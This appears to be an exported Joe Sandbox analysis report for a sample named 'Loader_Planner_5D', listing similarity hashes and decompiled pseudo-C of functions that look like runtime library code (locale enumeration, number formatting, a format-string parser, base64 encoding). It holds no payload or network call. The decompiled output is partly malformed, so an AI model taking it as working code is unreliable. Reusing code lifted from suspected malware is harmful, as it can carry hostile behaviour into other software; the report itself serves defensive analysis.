Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 0fd45a7e6911ce3f99ee03d5afd1b6bb711a5e8b4859d723849390ce162efe38
Instruction ID: 8c904491c19b5b6614bd21d8610a98140155b7b1306786cce6361b3e44f606c5
Opcode Fuzzy Hash: 0fd45a7e6911ce3f99ee03d5afd1b6bb711a5e8b4859d723849390ce162efe38
Instruction Fuzzy Hash: 2001B562E08A4647E7146F16E4507B9F6F3EB407F4F85A231D668473C5DF78A4898B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106524DC Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF710652843,?,?,?,?,?,?,?,?,00000000,00007FF71065AB20), ref: 00007FF71065252B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 3ef4cd2478ebe2d56071fd01738efb3ddeceb15084cca3023c25fa555ed649f1
Instruction ID: d623ef01076ebcd8d9babc8d6118947fd325844579137bdea8325cefb5abf005
Opcode Fuzzy Hash: 3ef4cd2478ebe2d56071fd01738efb3ddeceb15084cca3023c25fa555ed649f1
Instruction Fuzzy Hash: D2F06972A08F8682E710EB15E8411A9A372FB897E0F949136EA5D83365CF3CE458C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710654A10 Relevance: 1.5, Strings: 1, Instructions: 260
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF710654A10(void* __rax, long long __rbx, unsigned int* __rcx, signed long long __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long __r11, long long _a8, long long _a16, long long _a24, char* _a40, signed int _a48, signed int _a56, intOrPtr _a64, intOrPtr _a72, long long _a80) {
				void* _v40;
				long long _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				signed int _v72;
				unsigned int* _v80;
				long long _v88;
				void* __rdi;
				intOrPtr _t83;
				void* _t84;
				void* _t86;
				unsigned int* _t120;
				signed int _t121;
				void* _t139;
				char* _t158;
				unsigned long long _t170;
				char* _t184;
				char* _t185;
				intOrPtr _t186;
				unsigned int* _t189;
				char* _t192;
				intOrPtr* _t197;
				intOrPtr* _t198;
				void* _t202;
				void* _t203;
				signed long long _t206;
				signed long long _t211;
				signed long long _t214;
				void* _t217;
				char* _t219;
				void* _t220;
				signed int* _t222;
				signed int* _t231;
				signed int* _t232;
				signed int* _t233;
				signed int* _t239;
				long long _t243;
				void* _t245;
				intOrPtr* _t246;
				unsigned int* _t247;

				_t243 = __r11;
				_t229 = __r8;
				_t224 = __rbp;
				_t218 = __rsi;
				_t206 = __rdx;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				r11d = 0;
				 *__rdx = r11b;
				_t120 =  >=  ? _a48 : r11d;
				_t184 = __rdx;
				_t247 = __rcx;
				_t5 = _t217 + 0xb; // 0xb
				if (__r8 - _t5 > 0) goto 0x10654a88;
				_t189 = _a80;
				_t7 = _t243 + 0x22; // 0x22
				_v80 = _t189;
				r9d = 0;
				r8d = 0;
				_v88 = __r11;
				_t189[0xc] = 1;
				_t189[0xb] = _t7;
				E00007FF77FF71064A0C8(__rax, __rdx, _t189, __rdx, __rsi, __rbp, __r8);
				goto 0x10654da6;
				if (( *_t189 >> 0x00000034 & _t206) != _t206) goto 0x10654b27;
				_t236 = __r9;
				_v48 = _a80;
				_v56 = _a72;
				_v64 = _a64;
				_t158 = _a40;
				_v72 = r11b;
				_v80 = _t120;
				_v88 = _t158;
				if (E00007FF77FF710654DC4(_t184, _t247, _t184, _t217, _t218, _t229, __r9) == 0) goto 0x10654af6;
				 *_t184 = 0;
				goto 0x10654da6;
				_t192 = _t184;
				E00007FF77FF710663538(_t76, _t7, 0x65, _t158, _t184, _t192, _t236);
				if (_t158 == 0) goto 0x10654da4;
				 *_t158 = ((_a56 ^ 0x00000001) << 5) + 0x50;
				 *((char*)(_t158 + 3)) = 0;
				goto 0x10654da4;
				if (_t192 >= 0) goto 0x10654b39;
				 *_t184 = 0x2d;
				_t185 = _t184 + 1;
				_t246 = _t185 + 1;
				r12d = 0x3ff;
				r15d = (_a56 ^ 0x00000001) & 0x000000ff;
				r8d = 0x30;
				_a48 = r15d;
				if ((0x00000000 &  *_t247) != 0) goto 0x10654b98;
				 *_t185 = r8b;
				asm("dec ebp");
				r12d = r12d & 0x000003fe;
				goto 0x10654b9b;
				 *_t185 = 0x31;
				_t219 = _t246 + 1;
				if (_t120 != 0) goto 0x10654ba8;
				goto 0x10654bdf;
				_t186 = _a80;
				if ( *((intOrPtr*)(_t186 + 0x28)) != r11b) goto 0x10654bcf;
				E00007FF77FF71064B0B0( ~( *_t247 & 0xffffffff), _t186, _t186, _t184, _t219);
				r11d = 0;
				_t32 = _t243 + 0x30; // 0x30
				r8d = _t32;
				_t83 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t186 + 0x18)) + 0xf8))))));
				 *_t246 = _t83;
				if (( *_t247 & 0xffffffff) <= 0) goto 0x10654c83;
				if (_t120 <= 0) goto 0x10654c2d;
				_t84 = _t83 + r8w;
				_t139 = _t84 - 0x39;
				if (_t139 <= 0) goto 0x10654c1a;
				 *_t219 = _t84 + (r15d << 5) + 7;
				_t121 = _t120 - 1;
				_t220 = _t219 + 1;
				if (_t139 >= 0) goto 0x10654bfa;
				goto 0x10654c7b;
				r9d = _a72;
				r8d = r8w & 0xffff;
				_t86 = E00007FF77FF710655428(_t84 + (r15d << 5) + 7, _t7, _t186, _t247, 0 >> 4, _t217, _t220, _t224);
				r11d = 0;
				if (_t86 == 0) goto 0x10654c7b;
				_t197 = _t220 - 1;
				if (0x47 != 0) goto 0x10654c60;
				 *_t197 = 0x30;
				_t198 = _t197 - 1;
				goto 0x10654c4f;
				if (_t198 == _t246) goto 0x10654c78;
				if ( *_t197 != 0x39) goto 0x10654c70;
				bpl = bpl + 0x3a;
				goto 0x10654c73;
				 *_t198 = bpl;
				goto 0x10654c7b;
				 *((char*)(_t198 - 1)) =  *((char*)(_t198 - 1)) + 1;
				r15d = _a48;
				if (_t121 <= 0) goto 0x10654ca4;
				r8d = _t121;
				E00007FF77FF7106441A0();
				r11d = 0;
				goto 0x10654ca9;
				_t222 =  ==  ? _t246 : _t220 + _t186;
				r15b = r15b << 5;
				r15b = r15b + 0x50;
				 *_t222 = r15b;
				_t239 =  &(_t222[0]);
				_t170 =  *_t247 >> 0x34;
				if ( *_t246 - r11b >= 0) goto 0x10654cdc;
				_t202 = _t245 - _t170;
				_t47 = _t170 + 2; // 0x2d
				_t90 =  <  ? _t47 : 0x2b;
				_t222[0] =  <  ? _t47 : 0x2b;
				 *_t239 = dil;
				if (_t202 - 0x3e8 < 0) goto 0x10654d30;
				_t231 =  &(_t239[0]);
				_t211 = (_t220 - _t245 >> 7) + (_t220 - _t245 >> 7 >> 0x3f);
				 *_t239 = _t217 + _t211;
				_t203 = _t202 + _t211 * 0xfffffc18;
				if (_t231 != _t239) goto 0x10654d36;
				if (_t203 - 0x64 < 0) goto 0x10654d69;
				_t214 = (_t211 + _t203 >> 6) + (_t211 + _t203 >> 6 >> 0x3f);
				 *_t231 = _t217 + _t214;
				_t232 =  &(_t231[0]);
				if (_t232 != _t239) goto 0x10654d6f;
				if (_t203 + _t214 * 0xffffff9c - 0xa < 0) goto 0x10654d9a;
				 *_t232 = _t217 + (_t214 >> 2) + (_t214 >> 2 >> 0x3f);
				_t233 =  &(_t232[0]);
				 *_t233 = 0x367 + dil;
				_t233[0] = r11b;
				return 0;
			}

0x7ff710654a10
0x7ff710654a10
0x7ff710654a10
0x7ff710654a10
0x7ff710654a10
0x7ff710654a10
0x7ff710654a15
0x7ff710654a1a
0x7ff710654a33
0x7ff710654a38
0x7ff710654a41
0x7ff710654a44
0x7ff710654a47
0x7ff710654a4a
0x7ff710654a53
0x7ff710654a55
0x7ff710654a5d
0x7ff710654a61
0x7ff710654a66
0x7ff710654a69
0x7ff710654a6c
0x7ff710654a73
0x7ff710654a77
0x7ff710654a7c
0x7ff710654a83
0x7ff710654a9d
0x7ff710654aab
0x7ff710654aae
0x7ff710654ac0
0x7ff710654acb
0x7ff710654acf
0x7ff710654ad7
0x7ff710654adc
0x7ff710654ae0
0x7ff710654aec
0x7ff710654aee
0x7ff710654af1
0x7ff710654afb
0x7ff710654afe
0x7ff710654b06
0x7ff710654b1c
0x7ff710654b1e
0x7ff710654b22
0x7ff710654b2f
0x7ff710654b31
0x7ff710654b33
0x7ff710654b40
0x7ff710654b46
0x7ff710654b4c
0x7ff710654b50
0x7ff710654b59
0x7ff710654b7e
0x7ff710654b80
0x7ff710654b8c
0x7ff710654b8f
0x7ff710654b96
0x7ff710654b98
0x7ff710654b9b
0x7ff710654ba1
0x7ff710654ba6
0x7ff710654ba8
0x7ff710654bb4
0x7ff710654bb9
0x7ff710654bbe
0x7ff710654bcb
0x7ff710654bcb
0x7ff710654bdd
0x7ff710654bdf
0x7ff710654be6
0x7ff710654bff
0x7ff710654c0d
0x7ff710654c11
0x7ff710654c15
0x7ff710654c1a
0x7ff710654c1c
0x7ff710654c1e
0x7ff710654c29
0x7ff710654c2b
0x7ff710654c2d
0x7ff710654c35
0x7ff710654c3f
0x7ff710654c44
0x7ff710654c49
0x7ff710654c4b
0x7ff710654c56
0x7ff710654c58
0x7ff710654c5b
0x7ff710654c5e
0x7ff710654c63
0x7ff710654c68
0x7ff710654c6a
0x7ff710654c6e
0x7ff710654c73
0x7ff710654c76
0x7ff710654c78
0x7ff710654c7b
0x7ff710654c85
0x7ff710654c87
0x7ff710654c97
0x7ff710654c9f
0x7ff710654ca2
0x7ff710654cad
0x7ff710654cb1
0x7ff710654cb5
0x7ff710654cb9
0x7ff710654cbc
0x7ff710654cc3
0x7ff710654cd4
0x7ff710654cd9
0x7ff710654ce7
0x7ff710654cea
0x7ff710654ced
0x7ff710654cf0
0x7ff710654cfa
0x7ff710654d06
0x7ff710654d18
0x7ff710654d1e
0x7ff710654d28
0x7ff710654d2e
0x7ff710654d34
0x7ff710654d51
0x7ff710654d57
0x7ff710654d5a
0x7ff710654d67
0x7ff710654d6d
0x7ff710654d8d
0x7ff710654d90
0x7ff710654d9d
0x7ff710654da0
0x7ff710654dc3

Strings

gfffffff, xrefs: 00007FF710654D6F

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 8ee55880bd8d961f19a3c3506d7252e80b5ab5495d0e470dcd97258060665227
Instruction ID: bf80287b449bfb25067a4a8c070a4d596b455f15b53aa82ed2c5b070dce05e55
Opcode Fuzzy Hash: 8ee55880bd8d961f19a3c3506d7252e80b5ab5495d0e470dcd97258060665227
Instruction Fuzzy Hash: 60A14672B09BC686EB21DB26A0007A9B7A2AB907E8F448171DE4D47785DE3DF409C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064C5F0 Relevance: 1.5, Strings: 1, Instructions: 250
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00007FF77FF71064C5F0(signed int __esi, long long __rbx, void* __rcx, void* __rdx, signed int __rbp, void* __r8, void* __r10, long long _a16, long long _a24) {
				long long _v32;
				long long _v40;
				void* __rdi;
				void* __rsi;
				signed int _t115;
				void* _t120;
				signed int _t123;
				signed int _t136;
				signed int _t138;
				void* _t141;
				signed int _t143;
				signed int _t152;
				void* _t165;
				intOrPtr _t175;
				intOrPtr* _t177;
				intOrPtr* _t188;
				intOrPtr* _t193;
				void* _t196;
				void* _t198;
				intOrPtr _t206;
				intOrPtr _t208;
				void* _t214;
				void* _t216;
				signed int _t217;
				void* _t222;
				void* _t223;

				_t223 = __r10;
				_t222 = __r8;
				_t217 = __rbp;
				_t210 = __rdx;
				_t198 = __rcx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t175 =  *((intOrPtr*)(__rcx + 8));
				_t143 = __esi | 0xffffffff;
				_t196 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x460)) != __rbp) goto 0x1064c627;
				 *((char*)(_t175 + 0x30)) = 1;
				 *((intOrPtr*)(_t175 + 0x2c)) = 0x16;
				goto 0x1064c963;
				if ( *((intOrPtr*)(__rcx + 0x10)) != __rbp) goto 0x1064c65d;
				 *((char*)(_t175 + 0x30)) = 1;
				r9d = 0;
				 *((intOrPtr*)(_t175 + 0x2c)) = 0x16;
				r8d = 0;
				_v32 =  *((intOrPtr*)(__rcx + 8));
				_v40 = __rbp;
				E00007FF77FF71064A0C8( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx, _t216, __rbp, __r8);
				goto 0x1064c911;
				 *((intOrPtr*)(_t198 + 0x468)) =  *((intOrPtr*)(_t198 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t198 + 0x468)) == 2) goto 0x1064c90e;
				_t177 =  *((intOrPtr*)(_t196 + 0x10));
				 *((intOrPtr*)(_t196 + 0x48)) = 0;
				 *(_t196 + 0x24) = bpl;
				r8b =  *_t177;
				 *((long long*)(_t196 + 0x10)) = _t177 + 1;
				 *((intOrPtr*)(_t196 + 0x39)) = r8b;
				if (r8b == 0) goto 0x1064c8fb;
				r9b = r8b;
				if ( *(_t196 + 0x20) < 0) goto 0x1064c8f0;
				if (_t222 - 0x20 - 0x5a > 0) goto 0x1064c6bf;
				goto 0x1064c6c2;
				_t115 =  *(0x1066d8e0 + (r8b - 0x20 + (r8b - 0x20) * 8 + r8b - 0x20) * 2) & 0x000000ff;
				 *(_t196 + 0x24) = _t115;
				if (_t115 - 8 >= 0) goto 0x1064c950;
				_t152 = _t115;
				if (_t152 == 0) goto 0x1064c7ff;
				if (_t152 == 0) goto 0x1064c7e8;
				if (_t152 == 0) goto 0x1064c799;
				if (_t152 == 0) goto 0x1064c762;
				if (_t152 == 0) goto 0x1064c75a;
				if (_t152 == 0) goto 0x1064c730;
				if (_t152 == 0) goto 0x1064c726;
				if (_t115 - 0xfffffffffffffffc != 1) goto 0x1064c97c;
				E00007FF77FF71064CB04(_t141, _t196, _t196, _t210, _t214, _t216, _t222, _t223);
				goto 0x1064c78c;
				E00007FF77FF71064C980(_t196, _t210);
				goto 0x1064c78c;
				if (r8b == 0x2a) goto 0x1064c744;
				E00007FF77FF71064C560(_t196, _t196, _t196 + 0x30, _t216);
				goto 0x1064c78c;
				 *((long long*)(_t196 + 0x18)) =  *((long long*)(_t196 + 0x18)) + 8;
				_t136 =  *( *((intOrPtr*)(_t196 + 0x18)) - 8);
				_t137 =  <  ? _t143 : _t136;
				 *(_t196 + 0x30) =  <  ? _t143 : _t136;
				goto 0x1064c78a;
				 *(_t196 + 0x30) = 0;
				goto 0x1064c8d2;
				if (r8b == 0x2a) goto 0x1064c76e;
				goto 0x1064c73a;
				 *((long long*)(_t196 + 0x18)) =  *((long long*)(_t196 + 0x18)) + 8;
				_t138 =  *( *((intOrPtr*)(_t196 + 0x18)) - 8);
				 *(_t196 + 0x2c) = _t138;
				if (_t138 >= 0) goto 0x1064c78a;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000004;
				 *(_t196 + 0x2c) =  ~_t138;
				if (1 == 0) goto 0x1064c97c;
				goto 0x1064c8d2;
				if (r8b == 0x20) goto 0x1064c7df;
				if (r8b == 0x23) goto 0x1064c7d6;
				if (r8b == 0x2b) goto 0x1064c7cd;
				if (r8b == 0x2d) goto 0x1064c7c4;
				if (r8b != 0x30) goto 0x1064c8d2;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000008;
				goto 0x1064c8d2;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000004;
				goto 0x1064c8d2;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000001;
				goto 0x1064c8d2;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000020;
				goto 0x1064c8d2;
				 *(_t196 + 0x28) =  *(_t196 + 0x28) | 0x00000002;
				goto 0x1064c8d2;
				 *(_t196 + 0x28) = _t217;
				 *(_t196 + 0x38) = bpl;
				 *(_t196 + 0x30) = _t143;
				 *((intOrPtr*)(_t196 + 0x34)) = 0;
				 *(_t196 + 0x4c) = bpl;
				goto 0x1064c8d2;
				 *(_t196 + 0x4c) = bpl;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t196 + 8)) + 0x28)) != bpl) goto 0x1064c81c;
				_t120 = E00007FF77FF71064B0B0( *((intOrPtr*)(_t196 + 0x18)), _t196,  *((intOrPtr*)(_t196 + 8)), _t196 + 0x2c, _t216);
				r8b =  *((intOrPtr*)(_t196 + 0x39));
				r9b = r8b;
				_t165 = _t120 - _t143;
				if (_t165 < 0) goto 0x1064c893;
				if (_t165 == 0) goto 0x1064c893;
				_t206 =  *((intOrPtr*)(_t196 + 0x460));
				if ( *((intOrPtr*)(_t206 + 0x10)) !=  *((intOrPtr*)(_t206 + 8))) goto 0x1064c85a;
				if ( *((intOrPtr*)(_t206 + 0x18)) == bpl) goto 0x1064c855;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				goto 0x1064c878;
				 *(_t196 + 0x20) = _t143;
				goto 0x1064c878;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				 *((long long*)(_t206 + 0x10)) =  *((long long*)(_t206 + 0x10)) + 1;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x460)))))) = r8b;
				 *((long long*)( *((intOrPtr*)(_t196 + 0x460)))) =  *((long long*)( *((intOrPtr*)(_t196 + 0x460)))) + 1;
				_t188 =  *((intOrPtr*)(_t196 + 0x10));
				r9b =  *_t188;
				 *((long long*)(_t196 + 0x10)) = _t188 + 1;
				 *((intOrPtr*)(_t196 + 0x39)) = r9b;
				if (r9b == 0) goto 0x1064c924;
				_t208 =  *((intOrPtr*)(_t196 + 0x460));
				if ( *((intOrPtr*)(_t208 + 0x10)) !=  *((intOrPtr*)(_t208 + 8))) goto 0x1064c8b4;
				if ( *((intOrPtr*)(_t208 + 0x18)) == bpl) goto 0x1064c8af;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				goto 0x1064c8d2;
				 *(_t196 + 0x20) = _t143;
				goto 0x1064c8d2;
				 *(_t196 + 0x20) =  *(_t196 + 0x20) + 1;
				 *((long long*)(_t208 + 0x10)) =  *((long long*)(_t208 + 0x10)) + 1;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x460)))))) = r9b;
				 *((long long*)( *((intOrPtr*)(_t196 + 0x460)))) =  *((long long*)( *((intOrPtr*)(_t196 + 0x460)))) + 1;
				_t193 =  *((intOrPtr*)(_t196 + 0x10));
				r8b =  *_t193;
				 *((long long*)(_t196 + 0x10)) = _t193 + 1;
				r9b = r8b;
				 *((intOrPtr*)(_t196 + 0x39)) = r8b;
				if (r8b != 0) goto 0x1064c69c;
				_t123 =  *(_t196 + 0x24);
				if (_t123 == 0) goto 0x1064c8fb;
				if (_t123 != 7) goto 0x1064c950;
				 *((intOrPtr*)(_t196 + 0x468)) =  *((intOrPtr*)(_t196 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t196 + 0x468)) != 2) goto 0x1064c677;
				return  *(_t196 + 0x20);
			}

0x7ff71064c5f0
0x7ff71064c5f0
0x7ff71064c5f0
0x7ff71064c5f0
0x7ff71064c5f0
0x7ff71064c5f0
0x7ff71064c5f5
0x7ff71064c602
0x7ff71064c606
0x7ff71064c60b
0x7ff71064c615
0x7ff71064c617
0x7ff71064c61b
0x7ff71064c622
0x7ff71064c62b
0x7ff71064c62d
0x7ff71064c631
0x7ff71064c634
0x7ff71064c63b
0x7ff71064c644
0x7ff71064c64b
0x7ff71064c650
0x7ff71064c658
0x7ff71064c65d
0x7ff71064c66a
0x7ff71064c677
0x7ff71064c67b
0x7ff71064c67e
0x7ff71064c682
0x7ff71064c688
0x7ff71064c68c
0x7ff71064c693
0x7ff71064c699
0x7ff71064c69f
0x7ff71064c6ab
0x7ff71064c6bd
0x7ff71064c6d3
0x7ff71064c6d8
0x7ff71064c6dd
0x7ff71064c6e5
0x7ff71064c6e7
0x7ff71064c6f0
0x7ff71064c6f9
0x7ff71064c702
0x7ff71064c707
0x7ff71064c70c
0x7ff71064c711
0x7ff71064c716
0x7ff71064c71f
0x7ff71064c724
0x7ff71064c729
0x7ff71064c72e
0x7ff71064c734
0x7ff71064c73d
0x7ff71064c742
0x7ff71064c744
0x7ff71064c74d
0x7ff71064c752
0x7ff71064c755
0x7ff71064c758
0x7ff71064c75a
0x7ff71064c75d
0x7ff71064c766
0x7ff71064c76c
0x7ff71064c76e
0x7ff71064c777
0x7ff71064c77a
0x7ff71064c77f
0x7ff71064c781
0x7ff71064c787
0x7ff71064c78e
0x7ff71064c794
0x7ff71064c79d
0x7ff71064c7a3
0x7ff71064c7a9
0x7ff71064c7af
0x7ff71064c7b5
0x7ff71064c7bb
0x7ff71064c7bf
0x7ff71064c7c4
0x7ff71064c7c8
0x7ff71064c7cd
0x7ff71064c7d1
0x7ff71064c7d6
0x7ff71064c7da
0x7ff71064c7df
0x7ff71064c7e3
0x7ff71064c7e8
0x7ff71064c7ec
0x7ff71064c7f0
0x7ff71064c7f3
0x7ff71064c7f6
0x7ff71064c7fa
0x7ff71064c803
0x7ff71064c80b
0x7ff71064c810
0x7ff71064c815
0x7ff71064c819
0x7ff71064c820
0x7ff71064c822
0x7ff71064c837
0x7ff71064c839
0x7ff71064c848
0x7ff71064c84e
0x7ff71064c850
0x7ff71064c853
0x7ff71064c855
0x7ff71064c858
0x7ff71064c85a
0x7ff71064c85d
0x7ff71064c86b
0x7ff71064c875
0x7ff71064c878
0x7ff71064c87c
0x7ff71064c882
0x7ff71064c886
0x7ff71064c88d
0x7ff71064c893
0x7ff71064c8a2
0x7ff71064c8a8
0x7ff71064c8aa
0x7ff71064c8ad
0x7ff71064c8af
0x7ff71064c8b2
0x7ff71064c8b4
0x7ff71064c8b7
0x7ff71064c8c5
0x7ff71064c8cf
0x7ff71064c8d2
0x7ff71064c8d6
0x7ff71064c8dc
0x7ff71064c8e0
0x7ff71064c8e3
0x7ff71064c8ea
0x7ff71064c8f0
0x7ff71064c8f5
0x7ff71064c8f9
0x7ff71064c8fb
0x7ff71064c908
0x7ff71064c923

Strings

, xrefs: 00007FF71064C7D6

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 06fe25639aa45c782cd621627a08f36b1d3d84b9045b27f7654d02801d9d8ad3
Instruction ID: 3179149cd6b55b7f349d415b45dbfa01d2686976c685386b4bd019c312f2922b
Opcode Fuzzy Hash: 06fe25639aa45c782cd621627a08f36b1d3d84b9045b27f7654d02801d9d8ad3
Instruction Fuzzy Hash: 13B19172A08B498AE7A49F39805013C7BE2E705B78FA41135CA4E87399CF39E459C724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710633540 Relevance: 1.4, Strings: 1, Instructions: 200
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF710633540(void* __ecx, long long __rbx, long long __rcx, long long __rdx, void* __r8) {
				void* __rsi;
				void* _t112;
				void* _t117;
				signed long long _t136;
				unsigned int* _t160;
				unsigned long long _t200;
				unsigned int _t204;
				long long _t209;
				void* _t211;
				long long _t217;
				void* _t218;
				void* _t220;
				signed long long _t221;
				void* _t225;
				unsigned int _t226;
				long long _t228;
				void* _t230;
				long long _t231;

				 *((long long*)(_t220 + 0x18)) = __rbx;
				 *((long long*)(_t220 + 0x20)) = _t217;
				_t221 = _t220 - 0x140;
				_t136 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t221 + 0x130) = _t136 ^ _t221;
				_t160 = __rdx;
				_t231 = __rcx;
				 *((long long*)(_t221 + 0x28)) = __rcx;
				r14d = 0;
				_t112 =  *0x1068c360 -  *((intOrPtr*)(__rdx +  *((intOrPtr*)( *[gs:0x58])))); // 0x80000001
				if (_t112 <= 0) goto 0x106335f5;
				E00007FF77FF710642330();
				if ( *0x1068c360 != 0xffffffff) goto 0x106335f5;
				asm("xorps xmm0, xmm0");
				asm("movups [0x58d85], xmm0");
				 *0x1068c350 = _t228;
				 *0x1068c358 = _t228;
				_t6 = _t228 + 0x40; // 0x40
				r8d = _t6;
				_t200 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
				E00007FF77FF71062A010(__rdx, 0x1068c340, _t200, __r8);
				E00007FF77FF71064215C( *0x1068c360 - 0xffffffff,  *[gs:0x58]);
				E00007FF77FF7106422D0();
				_t226 = _t160[4];
				r8d = 0xf8;
				E00007FF77FF7106441A0();
				E00007FF77FF710633880(0, _t160, _t221 + 0x30, 0x1068c340, _t217, _t230, _t228);
				_t218 = (_t200 >> 1) + (_t200 >> 1) * 2;
				_t209 = _t228;
				if (_t218 == 0) goto 0x10633759;
				if (_t160[6] - 0x10 < 0) goto 0x10633643;
				_t172 =  >=  ?  *0x1068c340 : 0x1068c340;
				E00007FF77FF710634310( *(( *_t160 >> 2) + ( >=  ?  *0x1068c340 : 0x1068c340)) & 0x000000ff, _t160, _t221 + 0x40);
				_t117 = _t160[6] - 0x10;
				if (_t117 < 0) goto 0x1063367b;
				goto 0x10633684;
				if (_t117 < 0) goto 0x10633687;
				_t203 =  >=  ?  *0x1068c340 : 0x1068c340;
				E00007FF77FF710634310( *(_t160 + _t209 + ( >=  ?  *0x1068c340 : 0x1068c340)) & 0x000000ff, _t160, _t221 + 0x40);
				_t204 = _t160[6];
				if (_t204 - 0x10 < 0) goto 0x106336d0;
				goto 0x106336e0;
				if (_t204 - 0x10 < 0) goto 0x106336e3;
				_t206 =  >=  ?  *0x1068c340 : 0x1068c340;
				E00007FF77FF710634310( *( *_t160 + ( >=  ?  *0x1068c340 : 0x1068c340)) & 0x000000ff, _t160, _t221 + 0x40);
				if (_t160[6] - 0x10 < 0) goto 0x10633722;
				_t185 =  >=  ?  *0x1068c340 : 0x1068c340;
				E00007FF77FF710634310( *( *((char*)( *_t160 + _t209 + 2)) + ( >=  ?  *0x1068c340 : 0x1068c340)) & 0x000000ff, _t160, _t221 + 0x40);
				if (_t209 + 3 - _t218 < 0) goto 0x10633636;
				if (_t218 - _t226 >= 0) goto 0x10633839;
				if (_t160[6] - 0x10 < 0) goto 0x1063376f;
				_t188 =  >=  ?  *0x1068c340 : 0x1068c340;
				E00007FF77FF710634310( *(( *_t160 >> 2) + ( >=  ?  *0x1068c340 : 0x1068c340)) & 0x000000ff, _t160, _t221 + 0x40);
				_t211 = _t218 + 1;
				if (_t211 - _t226 >= 0) goto 0x106337b8;
				if (_t160[6] - 0x10 < 0) goto 0x106337ae;
				r14d =  *( *_t160 + _t218 + 1) & 0x000000ff;
				r14d = r14d >> 4;
				if (_t160[6] - 0x10 < 0) goto 0x106337c5;
				_t191 =  >=  ?  *0x1068c340 : 0x1068c340;
				E00007FF77FF710634310( *( *_t160 + ( >=  ?  *0x1068c340 : 0x1068c340)) & 0x000000ff, _t160, _t221 + 0x40);
				if (_t211 - _t226 >= 0) goto 0x10633821;
				if (_t160[6] - 0x10 < 0) goto 0x10633802;
				_t161 =  *_t160;
				_t215 =  >=  ?  *0x1068c340 : 0x1068c340;
				goto 0x10633823;
				E00007FF77FF710634310(0x3d,  *_t160, _t221 + 0x40);
				E00007FF77FF710634310(0x3d,  *_t160, _t221 + 0x40);
				E00007FF77FF710634260( *( *_t160 + _t218 + 1), _t221 + 0x48, _t231);
				return E00007FF77FF710641DF0(E00007FF77FF710633450(_t161, _t221 + 0x30,  >=  ?  *0x1068c340 : 0x1068c340, _t225),  *( &(_t160[0]) + _t209) & 0x0000000f,  *(_t221 + 0x130) ^ _t221);
			}

0x7ff710633540
